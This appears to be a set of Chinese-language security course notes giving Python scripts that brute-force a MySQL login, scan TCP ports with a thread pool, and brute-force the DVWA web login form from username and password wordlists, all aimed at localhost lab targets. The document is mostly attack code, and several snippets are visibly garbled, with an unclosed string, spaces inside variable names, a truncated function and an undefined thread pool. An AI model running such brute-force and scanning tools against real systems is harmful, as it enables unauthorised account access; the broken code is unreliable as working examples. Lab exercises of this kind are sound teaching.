## python Mysql&SqlServer 暴力破解

首先使用 dvwa 数据库,并新增一个用户

```
mysql> CREATE USER 'geektime'@'%' IDENTIFIED BY '123456';
```

使用pymysql连接数据库,并进行暴力破解

安装pymysql

pip install pymysql

```
import pymysql
password_list = [
   "pass1",
    "pass2",
    "pass3",
    "pass4",
    "pass5",
    "pass6",
   "pass7",
    "pass8",
    "pass9",
    "pass10",
    "pass11",
    "pass12",
    "123456"
]
for password in password_list:
    try:
        data = pymysql.connect(host="127.0.0.1", port=33060, user="geektime",
password=password)
        print("[+]Find Password is: %s !!!!!!! % password)
    except pymysql.err.OperationalError as e:
        print("[-]Password error: %s" % password)
```

也可以读取文件中的密码列表进行暴力破解

```
import pymysql

def brute_force(password_list):
   for password in password_list:
     password = password.strip()
```

## python 端口扫描

使用线程池进行端口扫描, 并记录扫描时间

```
import socket
from concurrent.futures import ThreadPoolExecutor, wait
import time
def geektime main():
   target ip = input("IP:")
   start time = time.time()
   start_time_format = time.ctime()
   print("[*] Start port scan at %s" % start_time_format)
   future = [pool.submit(port_scan, target_ip, port) for port in range(0, 1000)]
   wait(future) # 等待所有线程完成
   pool.shutdown()
   end time = time.time()
   print("[*] 扫描结束, 共计扫描时间: %.2f s" % (end_time - start_time))
def port_scan(target, port):
   try:
       client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket对象
       client.connect((target, port)) # 建立TCP连接
       print("[*] %s: %d 端口开放" % (target, port))
       client.close()
   except:
       pass # 捕获异常
if name == " main ":
   pool = ThreadPoolExecutor(max workers=20)
   geektime_main()
```

## HTTP表单暴力破解

首先先写一个用来爆破dvwa的函数

```
import requests
import operator
def brute_force(user, password):
   proxy = {"http": "127.0.0.1:8081"}
   # DVWA 登陆接口
   url = "http://127.0.0.1:8080/vulnerabilities/brute/?
username=%s&password=%s&Login=Login" % (user, password)
   user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) " \
                 "Chrome/101.0.4951.41 Safari/537.36"
   header = {"User-Agent": user_agent, "Content-Type": "application/x-www-form-
urlencoded",
              "Cookie": "PHPSESSID=q0jjc3mnedod1gsqcd2tt53sg4; security=low"}
   response = requests.get(url, headers=header)
   data = response.text
   if operator.contains(data, "Welcome to the password protected area"):
        print("[+] Login Success, Password is %s !!!" % password)
   else:
        print("[-] Login Error")
if __name__ == '__main__':
   brute_force("gordonb", "abc123")
```

之后读取用户名、密码文件, 使用多线程进行爆破

```
import requests
import operator
from concurrent.futures import ThreadPoolExecutor, wait

def brute_force(user, password):
    proxy = {"http": "127.0.0.1:8081"}
    # DVWA 登陆接口
    url = "http://127.0.0.1:8080/vulnerabilities/brute/?
username=%s&password=%s&Login=Login" % (user, password)
    user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) " \
```

```
"Chrome/101.0.4951.41 Safari/537.36"
   header = {"User-Agent": user_agent, "Content-Type": "application/x-www-form-
urlencoded",
              "Cookie": "PHPSESSID=q0jjc3mnedod1gsqcd2tt53sg4; security=low"}
   response = requests.get(url, headers=header)
   data = response.text
   if operator.contains(data, "Welcome to the password protected area"):
        print("[+] Login Success, Password is %s !!!" % password)
   else:
        print("[-] Login Error")
def brute_force_read_file():
   brute list = []
   with open("username_list.txt", "r") as user_file:
       for user in user file:
           with open("password_list.txt", "r") as pass_file:
                for password in pass_file:
                    future = pool.submit(brute_force, user.strip(), password.strip())
                    brute_list.append(future)
   wait(brute list)
if __name__ == '__main__':
   pool = ThreadPoolExecutor(max_workers=20)
   brute_force_read_file()
```